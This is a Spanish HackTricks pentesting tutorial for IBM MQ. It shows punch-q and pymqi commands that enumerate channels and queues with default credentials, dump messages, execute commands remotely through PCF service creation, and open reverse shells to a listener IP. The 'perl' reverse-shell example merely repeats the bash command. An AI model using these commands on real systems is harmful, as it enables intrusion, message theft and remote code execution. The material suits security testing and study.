hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md

343 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - Pentesting IBM MQ
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Información básica
IBM MQ es una tecnología de IBM para gestionar colas de mensajes. Como otras tecnologías de **broker de mensajes**, se dedica a recibir, almacenar, procesar y clasificar información entre productores y consumidores.
Por defecto, **expone el puerto TCP 1414 de IBM MQ**.
A veces, la API REST de HTTP puede estar expuesta en el puerto **9443**.
Las métricas (Prometheus) también se pueden acceder desde el puerto TCP **9157**.
El puerto TCP 1414 de IBM MQ se puede utilizar para manipular mensajes, colas, canales, ... pero **también para controlar la instancia**.
IBM proporciona una amplia documentación técnica disponible en [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
## Herramientas
Una herramienta sugerida para una explotación sencilla es **[punch-q](https://github.com/sensepost/punch-q)**, con uso de Docker. La herramienta utiliza activamente la biblioteca de Python `pymqi`.
Para un enfoque más manual, utiliza la biblioteca de Python **[pymqi](https://github.com/dsuch/pymqi)**. Se necesitan las dependencias de [IBM MQ](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc).
### Instalación de pymqi
Se deben instalar y cargar las **dependencias de IBM MQ**:
1. Crea una cuenta (IBMid) en [https://login.ibm.com/](https://login.ibm.com/).
2. Descarga las bibliotecas de IBM MQ desde [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Para Linux x86_64 es **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Descomprime (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Ejecuta `sudo ./mqlicense.sh` para aceptar los términos de la licencia.
>Si estás en Kali Linux, modifica el archivo `mqlicense.sh`: elimina/comenta las siguientes líneas (entre las líneas 105-110):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
5. Instala estos paquetes:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. A continuación, añade temporalmente los archivos `.so` a LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **antes** de ejecutar otras herramientas que utilicen estas dependencias.
Luego, puedes clonar el proyecto [**pymqi**](https://github.com/dsuch/pymqi): contiene fragmentos de código interesantes, constantes, ... O puedes instalar directamente la biblioteca con: `pip install pymqi`.
### Uso de punch-q
#### Con Docker
Simplemente usa: `sudo docker run --rm -ti leonjza/punch-q`.
#### Sin Docker
Clona el proyecto [**punch-q**](https://github.com/sensepost/punch-q) y luego sigue las instrucciones de instalación en el archivo readme (`pip install -r requirements.txt && python3 setup.py install`).
Después, se puede utilizar con el comando `punch-q`.
## Enumeración
Puedes intentar enumerar el **nombre del administrador de colas, los usuarios, los canales y las colas** con **punch-q** o **pymqi**.
### Administrador de colas
A veces, no hay protección contra la obtención del nombre del administrador de colas:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Canales
**punch-q** utiliza una lista de palabras interna (modificable) para encontrar canales existentes. Ejemplo de uso:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Sucede que algunas instancias de IBM MQ aceptan solicitudes de MQ **sin autenticación**, por lo que no se necesita `--username / --password`. Por supuesto, los derechos de acceso también pueden variar.
Tan pronto como obtengamos un nombre de canal (aquí: `DEV.ADMIN.SVRCONN`), podemos enumerar todos los demás canales.
La enumeración se puede realizar básicamente con este fragmento de código `code/examples/dis_channels.py` de **pymqi**:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Pero **punch-q** también incluye esa parte (¡con más información!).
Se puede lanzar con:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### Colas
Hay un fragmento de código con **pymqi** (`dis_queues.py`), pero **punch-q** permite obtener más información sobre las colas:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Explotar
### Extraer mensajes
Puedes apuntar a cola(s)/canal(es) para espiar / extraer mensajes de ellos (operación no destructiva). *Ejemplos:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**No dudes en iterar en todas las colas identificadas.**
### Ejecución de código
> Algunos detalles antes de continuar: IBM MQ se puede controlar de varias formas: MQSC, PCF, Control Command. Algunas listas generales se pueden encontrar en la [documentación de IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) es en lo que nos enfocamos para interactuar de forma remota con la instancia. **punch-q** y además **pymqi** se basan en interacciones de PCF.
>
> Puedes encontrar una lista de comandos de PCF:
> * [Desde la documentación de PCF](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), y
> * [desde constantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Un comando interesante es `MQCMD_CREATE_SERVICE` y su documentación está disponible [aquí](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Toma como argumento un `StartCommand` que apunta a un programa local en la instancia (ejemplo: `/bin/sh`).
>
> También hay una advertencia sobre el comando en la documentación: *"Atención: Este comando permite a un usuario ejecutar un comando arbitrario con autoridad mqm. Si se otorgan derechos para usar este comando, un usuario malintencionado o descuidado podría definir un servicio que dañe sus sistemas o datos, por ejemplo, eliminando archivos esenciales."*
>
> *Nota: siempre según la documentación de IBM MQ (Referencia de administración), también hay un punto final HTTP en `/admin/action/qmgr/{qmgrName}/mqsc` para ejecutar el comando MQSC equivalente para la creación de servicios (`DEFINE SERVICE`). Este aspecto aún no se ha cubierto aquí.*
La creación / eliminación de servicios con PCF para la ejecución remota de programas se puede hacer con **punch-q**:
**Ejemplo 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> En los registros de IBM MQ, puedes leer que el comando se ejecutó correctamente:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: El comando '808544aa7fc94c48' ha comenzado. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
>
> También puedes enumerar los programas existentes en la máquina (aquí `/bin/doesnotexist` ... no existe):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Ten en cuenta que el lanzamiento del programa es asíncrono. Por lo tanto, necesitas un segundo elemento para aprovechar el exploit** ***(escucha para shell inverso, creación de archivos en un servicio diferente, extracción de datos a través de la red...)***
**Ejemplo 2**
Para un shell inverso fácil, **punch-q** también propone dos payloads de shell inverso:
* Uno con bash
* Uno con perl
*Por supuesto, puedes construir uno personalizado con el comando `execute`.*
Para bash:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Para perl:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### PCF personalizado
Puedes consultar la documentación de IBM MQ y utilizar directamente la biblioteca de Python **pymqi** para probar comandos PCF específicos que no están implementados en **punch-q**.
**Ejemplo:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
Si no puedes encontrar los nombres de las constantes, puedes consultar la [documentación de IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
> *Ejemplo para [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). Necesita el parámetro `MQCA_CLUSTER_NAME` (Decimal = 2029) que puede ser `*` (Doc: ):*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## Entorno de prueba
Si deseas probar el comportamiento y las vulnerabilidades de IBM MQ, puedes configurar un entorno local basado en Docker:
1. Tener una cuenta en ibm.com y cloud.ibm.com.
2. Crear un contenedorizado de IBM MQ con:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
Por defecto, la autenticación está habilitada, el nombre de usuario es `admin` y la contraseña es `passw0rd` (Variable de entorno `MQ_ADMIN_PASSWORD`).
Aquí, el nombre del administrador de colas se ha establecido como `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).
Debe tener IBM MQ en funcionamiento y sus puertos expuestos:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> La versión antigua de las imágenes de IBM MQ en Docker se encuentra en: https://hub.docker.com/r/ibmcom/mq/.
## Referencias
* [Gist de mgeeky - "Notas prácticas sobre pruebas de penetración en IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [Documentación de IBM MQ](https://www.ibm.com/docs/en/ibm-mq)